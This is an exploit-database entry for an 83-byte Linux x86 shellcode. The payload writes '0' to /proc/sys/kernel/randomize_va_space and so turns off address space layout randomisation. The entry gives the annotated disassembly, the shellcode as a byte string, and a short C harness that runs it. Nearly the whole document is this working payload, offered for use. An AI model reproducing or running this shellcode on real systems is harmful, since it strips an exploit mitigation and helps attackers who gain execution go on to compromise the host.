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linux/x86 - ASLR deactivation - 83 bytes
[/*
Title: Linux x86 ASLR deactivation - 83 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 70 61 63 65 push $0x65636170
8048068: 68 76 61 5f 73 push $0x735f6176
804806d: 68 69 7a 65 5f push $0x5f657a69
8048072: 68 6e 64 6f 6d push $0x6d6f646e
8048077: 68 6c 2f 72 61 push $0x61722f6c
804807c: 68 65 72 6e 65 push $0x656e7265
8048081: 68 79 73 2f 6b push $0x6b2f7379
8048086: 68 6f 63 2f 73 push $0x732f636f
804808b: 68 2f 2f 70 72 push $0x72702f2f
8048090: 89 e3 mov %esp,%ebx
8048092: 66 b9 bc 02 mov $0x2bc,%cx
8048096: b0 08 mov $0x8,%al
8048098: cd 80 int $0x80
804809a: 89 c3 mov %eax,%ebx
804809c: 50 push %eax
804809d: 66 ba 30 3a mov $0x3a30,%dx
80480a1: 66 52 push %dx
80480a3: 89 e1 mov %esp,%ecx
80480a5: 31 d2 xor %edx,%edx
80480a7: 42 inc %edx
80480a8: b0 04 mov $0x4,%al
80480aa: cd 80 int $0x80
80480ac: b0 06 mov $0x6,%al
80480ae: cd 80 int $0x80
80480b0: 40 inc %eax
80480b1: cd 80 int $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68"
"\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61"
"\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f"
"\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08"
"\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31"
"\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80";
int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}
# 0day.today [2024-11-17] #